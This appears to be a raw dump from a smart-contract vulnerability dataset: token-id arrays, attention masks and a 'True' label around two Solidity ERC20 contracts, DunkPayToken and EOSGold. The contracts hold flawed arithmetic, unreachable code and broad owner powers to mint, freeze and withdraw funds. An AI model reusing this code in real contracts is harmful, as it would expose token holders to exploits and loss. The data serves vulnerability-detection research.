1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.16;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 is Pausable{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
uint256 totalSupplyForDivision;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal whenNotPaused{
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public whenNotPaused {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public whenNotPaused
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) whenNotPaused
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public whenPaused returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
totalSupplyForDivision = totalSupply; // Update totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public whenPaused returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
totalSupplyForDivision = totalSupply; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract DunkPayToken is TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
uint256 public buySupply;
uint256 public totalEth;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function DunkPayToken() TokenERC20(totalSupply, name, symbol) public {
buyPrice = 1000;
sellPrice = 1000;
name = "DunkPay Token";
symbol = "DNK";
totalSupply = buyPrice * 10000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = buyPrice * 5100 * 10 ** uint256(decimals);
balanceOf[this] = totalSupply - balanceOf[msg.sender];
buySupply = balanceOf[this];
allowance[this][msg.sender] = buySupply;
totalSupplyForDivision = totalSupply;// Set the symbol for display purposes
totalEth = address(this).balance;
}
function percent(uint256 numerator, uint256 denominator , uint precision) returns(uint256 quotient) {
if(numerator <= 0)
{
return 0;
}
// caution, check safe-to-multiply here
uint256 _numerator = numerator * 10 ** uint256(precision+1);
// with rounding of last digit
uint256 _quotient = ((_numerator / denominator) - 5) / 10;
return _quotient;
}
function getZero(uint256 number) returns(uint num_len) {
uint i = 1;
uint _num_len = 0;
while( number > i )
{
i *= 10;
_num_len++;
}
return _num_len;
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
buySupply = balanceOf[this]; //For Additonal Supply.
allowance[this][msg.sender] = buySupply;
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
buySupply = balanceOf[this]; //For Additonal Supply.
allowance[this][msg.sender] = buySupply;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice, uint256 newBuySupply) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
buySupply = newBuySupply;
}
function transfer(address _to, uint256 _value) public whenNotPaused {
if(_to == address(this)){
sell(_value);
}else{
_transfer(msg.sender, _to, _value);
}
}
function () payable public {
buy();
}
/// @notice Buy tokens from contract by sending ether
function buy() payable whenNotPaused public {
uint256 dnkForBuy = msg.value;
uint zeros = getZero(buySupply);
uint256 interest = msg.value / 2 * percent(balanceOf[this] , buySupply , zeros);
interest = interest / 10 ** uint256(zeros);
dnkForBuy = dnkForBuy + interest;
_transfer(this, msg.sender, dnkForBuy * buyPrice); // makes the transfers
totalEth += msg.value;
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) whenNotPaused public {
uint256 ethForSell = amount;
uint zeros = getZero(balanceOf[this]);
uint256 interest = amount / 2 * percent( buySupply , balanceOf[this] ,zeros);
interest = interest / 10 ** uint256(zeros);
ethForSell = ethForSell - interest;
ethForSell = ethForSell - (ethForSell/100); // minus 1% for refund fee.
ethForSell = ethForSell / sellPrice;
uint256 minimumAmount = address(this).balance;
require(minimumAmount >= ethForSell); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(ethForSell); // sends ether to the seller. It's important to do this last to avoid recursion attacks
totalEth -= ethForSell;
}
/// @notice withDraw `amount` ETH to contract
/// @param amount amount of ETH to be sent
function withdraw(uint256 amount) onlyOwner public {
uint256 minimumAmount = address(this).balance;
require(minimumAmount >= amount); // checks if the contract has enough ether to buy
msg.sender.transfer(amount); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
function airdrop(address[] _holders, uint256 mintedAmount) onlyOwner whenPaused public {
for (uint i = 0; i < _holders.length; i++) {
uint zeros = getZero(totalSupplyForDivision);
uint256 amount = percent(balanceOf[_holders[i]],totalSupplyForDivision,zeros) * mintedAmount;
amount = amount / 10 ** uint256(zeros);
if(amount != 0){
mintToken(_holders[i], amount);
}
}
totalSupplyForDivision = totalSupply;
}
function bankrupt(address[] _holders) onlyOwner whenPaused public {
uint256 restBalance = balanceOf[this];
totalSupplyForDivision = totalSupply - restBalance; // Update totalSupply
totalEth = address(this).balance;
for (uint i = 0; i < _holders.length; i++) {
uint zeros = getZero(totalSupplyForDivision);
uint256 amount = percent(balanceOf[_holders[i]],totalSupplyForDivision , zeros) * totalEth;
amount = amount / 10 ** uint256(zeros);
if(amount != 0){
uint256 minimumAmount = address(this).balance;
require(minimumAmount >= amount); // checks if the contract has enough ether to buy
uint256 holderBalance = balanceOf[_holders[i]];
balanceOf[_holders[i]] -= holderBalance; // Subtract from the targeted balance
totalSupply -= holderBalance;
_holders[i].transfer(amount); // sends ether to the seller. It's important to do this last to
}
}
totalSupplyForDivision = totalSupply;
totalEth = address(this).balance;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2385,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
16109,
2407,
1997,
2048,
3616,
1010,
19817,
4609,
18252,
1996,
22035,
9515,
3372,
1012,
1008,
1013,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
1013,
1013,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1005,
1056,
2907,
2709,
1037,
1013,
1038,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4942,
6494,
16649,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1006,
1045,
1012,
1041,
1012,
2065,
4942,
6494,
22342,
2003,
3618,
2084,
8117,
24997,
2094,
1007,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
9909,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
3853,
2219,
3085,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2069,
12384,
2121,
2270,
1063,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3206,
29025,
19150,
2003,
2219,
3085,
1063,
2724,
8724,
1006,
1007,
1025,
2724,
4895,
4502,
8557,
1006,
1007,
1025,
22017,
2140,
2270,
5864,
1027,
6270,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
16913,
18095,
2000,
2191,
1037,
3853,
2655,
3085,
2069,
2043,
1996,
3206,
2003,
2025,
5864,
1012,
1008,
1013,
16913,
18095,
2043,
17048,
4502,
13901,
1006,
1007,
1063,
5478,
1006,
999,
5864,
1007,
1025,
1035,
1025,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract EOSGold is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "EOSGold";
string public constant symbol = "EOSG";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 private totalReserved = (totalSupply.div(100)).mul(15);
uint256 private totalBounties = (totalSupply.div(100)).mul(10);
uint256 public totalDistributed = totalReserved.add(totalBounties);
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
uint256 public minReq;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function EOSGold (uint256 _value, uint256 _minReq) public {
owner = msg.sender;
value = _value;
minReq = _minReq;
balances[msg.sender] = totalDistributed;
}
function setParameters (uint256 _value, uint256 _minReq) onlyOwner public {
value = _value;
minReq = _minReq;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
if (msg.value < minReq){
toGive = value.sub(value);
}
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which should be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2539,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
3097,
18715,
2368,
1063,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
2270,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
3206,
9413,
2278,
11387,
22083,
2594,
1063,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
9413,
2278,
11387,
2003,
9413,
2278,
11387,
22083,
2594,
1063,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
8278,
19204,
1063,
3853,
4487,
3367,
2099,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
2270,
5651,
1006,
21318,
3372,
17788,
2575,
4425,
